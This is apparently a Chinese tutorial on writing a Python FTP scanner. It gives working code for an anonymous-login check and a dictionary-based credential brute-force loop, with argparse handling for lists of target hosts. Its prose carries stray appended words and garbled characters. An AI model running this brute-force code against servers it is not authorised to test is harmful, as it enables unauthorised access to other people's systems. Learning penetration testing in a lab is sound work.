Python 實現 FTP 弱口令掃描器

圖片描述

1、項目說明

1.1 項目簡介

本次實驗經過使用 Python 實現一個 FTP 弱口令掃描器開始,入門 Python 滲透測試技術,實驗涉及 FTP 協議原理,ftplib 庫的使用等知識點。web

本教程由做者向實驗樓投稿發佈,完整教程及在線練習地址:Python 實現 FTP 弱口令掃描器編程

1.2 目標學員

  • 具備Python語言基礎,不會的同窗請到隔壁班先去學一下安全

1.3 Python版本

  • Python3.x服務器

1.4 知識點

本實驗涉及以下知識點:網絡

  1. 認識Ftp服務器函數

  2. Ftplib庫的使用測試

  3. argparse庫的使用網站

  4. Ubuntu下Ftp服務器的搭建url

1.5 效果圖

本節實驗將實現以下功能的 FTP 弱口令掃描器:spa

此處輸入圖片的描述

2、 理論基礎

如下內容整理自百度百科,參考連接:

2.1 FTP服務器

FTP服務器(File Transfer Protocol Server)是在互聯網上提供文件存儲和訪問服務的計算機,它們依照FTP協議提供服務。 FTP是File Transfer Protocol(文件傳輸協議)。顧名思義,就是專門用來傳輸文件的協議。簡單地說,支持FTP協議的服務器就是FTP服務器。

FTP是僅基於TCP的服務,不支持UDP。不同凡響的是FTP使用2個端口,一個數據端口和一個命令端口(也可叫作控制端口)。一般來講這兩個端口是21(命令端口)和20(數據端口)。但FTP 工做方式的不一樣,數據端口並不老是20。這就是主動與被動FTP的最大不一樣之處。主要有兩種工做模式:

  • 主動FTP

FTP服務器的控制端口是21,數據端口是20,因此在作靜態映射的時候只須要開放21端口便可,他會用20端口和客戶端主動的發起鏈接。

  • 被動FTP

服務器的控制端口是21,數據端口是隨機的,且是客戶端去鏈接對應的數據端口,因此在作靜態的映射話只開放21端口是不能夠的。此時須要作DMZ。

2.2 Ftp掃描器實現方案

本課程開發Ftp掃描器主要從如下兩個方面着手:

掃描匿名Ftp

Ftp匿名登陸的掃描主要應用於批量掃描中,單獨針對一個Ftp服務器進行掃描的話成功概率比較小,不過也不排除成功的可能。估計講到這裏的時候,有的同窗就有疑問了!!!如今還有人不設置密碼嗎?那得傻到啥程度?用東北的話來講那不就是傻狍子嗎!!!(開個玩笑,省得同窗們看個人教程睡着了!)不過言歸正傳,不少網站都開放Ftp服務方便用戶下載資源(這個容許匿名登陸不足爲奇),更瘋狂的是網站管理人員爲了方便網站訪問軟件的更新也開放了Ftp匿名登陸(估計不是本身家的網站......)。這樣就給了咱們不少機會,尤爲後者的服務器很容易就受到攻擊,後期我會講解Ftp目錄下能夠搜到web頁面以後怎樣拿到Shell(你們多多關注個人教程吧,還有不少精品課程等着你!)。

掃描Ftp弱口令

Ftp弱口令掃描其實就是暴力破解,爲什麼咱們不稱爲暴力破解呢?由於咱們只是掃描一些簡單的密碼組合,並非全部可能得密碼組合,並且咱們也沒有那麼多時間去暴力破解,誰讓咱們活不了成千上萬年呢!只是一個密碼而已,弱口令掃不到就算了,天涯何處無芳草何須單戀一枝花呢!不過你要非喜歡這個Ftp服務器的話,之後我再教你們別的方法滲透服務器!

3、代碼實現

3.1 Ftp匿名掃描器的實現

這裏咱們要用到Python的ftplib庫中的Ftp這個類,Ftp這個類實現了Ftp客戶端的大多數功能,好比鏈接Ftp服務器、查看服務器中的文件、上傳、下載文件等功能,詳細用法能夠查看一下文檔,之後碰到問題也要養成先看文檔的習慣!接下來咱們來定義anonScan(hostname)這個函數以實現掃描可匿名登陸的Ftp服務器。代碼以下:

#匿名登陸掃描
def anonScan(hostname):                 #參數是主機名
    try:
        with FTP(hostname) as ftp:      #建立Ftp對象
            ftp.login()                 #Ftp匿名登陸
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") #不拋出異常則代表登陸成功
            return True
    except Exception as e:              #拋出異常則代表匿名登陸失敗
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

代碼很簡短,主要在註釋中解釋了代碼的含義。這裏說一下這個函數的思路,首先用主機名構造了一個Ftp對象(即ftp),而後用這個ftp調用不帶任何參數的login()函數即表示要匿名登陸這個Ftp服務器,若是登陸過程當中沒有產生異常,則代表匿名登陸成功,不然匿名登陸失敗!

3.2 Ftp弱口令的掃描

Ftp弱口令的掃描依賴於用戶名和密碼字典,咱們的實驗環境中會提供 pwd.txt 做爲密碼字典,字典的格式以下圖所示:

圖片描述

接下來咱們針對字典中的格式來實現Ftp弱口令的掃描,代碼以下:

#暴力破解
def vlcLogin(hostname, pwdFile):                #參數(主機名,字典文件)
    try:
        with open(pwdFile, 'r') as pf:          #打開字典文件
            for line in pf.readlines():         #循環讀取字典文件中的每一行
                time.sleep(1)                   #等待1秒
                userName = line.split(':')[0]   #從讀取的內容中取出用戶名
                passWord = line.split(':')[1].strip('\r').strip('\n') #從讀取的內容中取出密碼
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  #以主機名爲參數構造Ftp對象
                        ftp.login(userName, passWord)   #使用讀取出的用戶名密碼登陸Ftp服務器
                        #若是沒有產生異常則表示登陸成功,打印主機名、用戶名和密碼
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    # 產生異常表示沒有登陸成功,這裏咱們不用管它,繼續嘗試其餘用戶名、密碼
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

這段代碼其實就是循環從字典中讀取用戶名和密碼並嘗試登錄,登錄成功則代表找到用戶名和密碼。因爲這個函數將主機名定義成了能夠用「,」分割的字符串。找到密碼並不會終止程序,而是會繼續掃描其餘主機的弱口令,直到全部的主機都掃描一遍。

3.3 命令行解析

至此咱們的Ftp掃描器已經幾乎完成了,代碼並很少,也很簡單。如今咱們須要作的是讓咱們的腳本能夠處理命令行輸入,以控制掃描哪些主機。處理命令行參數咱們將用到Python中的argparse庫,這個庫是Python中自帶的模塊,處理命令行將變得很是簡單,下面咱們一塊兒見證一下argparse的強大之處,先上代碼:

# 這裏用描述建立了ArgumentParser對象
    parser = argparse.ArgumentParser(description = 'FTP Scanner')
    # 添加-H命令dest能夠理解爲我們解析時獲取-H參數後面值的變量名,help是這個命令的幫助信息
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)
    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile

經過argparse庫來解析命令行參數,能夠根據添加參數時指定的help關鍵字的內容來自動生成幫助文檔。具體效果以下圖所示:

此處輸入圖片的描述

在處理複雜命令的時候argparse的強大就更明顯了,因爲這個屬於Python基礎,因此Python庫中自帶的庫這裏我就不作過多的介紹了。

4、實驗環境搭建測試

本項目完整代碼和環境搭建、測試,可在實驗樓中查看並在線完成。

5、總結

本次項目實現了Ftp弱口令掃描器,主要用到如下知識點:

  1. Ftp服務器的基本概念

  2. 使用ftplib如何一步一步的實現Ftp弱口令掃描器

  3. 使用argparse解析命令行參數

  4. 實驗環境的搭建方法

6、參考文獻

  • 《Python絕技--運用Python成爲頂級黑客》

  • 《Python黑帽子-- 黑客與滲透測試編程之道 》

:本系列項目教學思路,參考自《Python絕技--運用Python成爲頂級黑客》,書中代碼和教學思路只作參考,本系列教程所有從新設計並基於Python3.x重寫。本系列課程旨在教你們滲透測試,維護網絡安全,如用於非法目的,自行承擔法律責任!

相關文章
相關標籤/搜索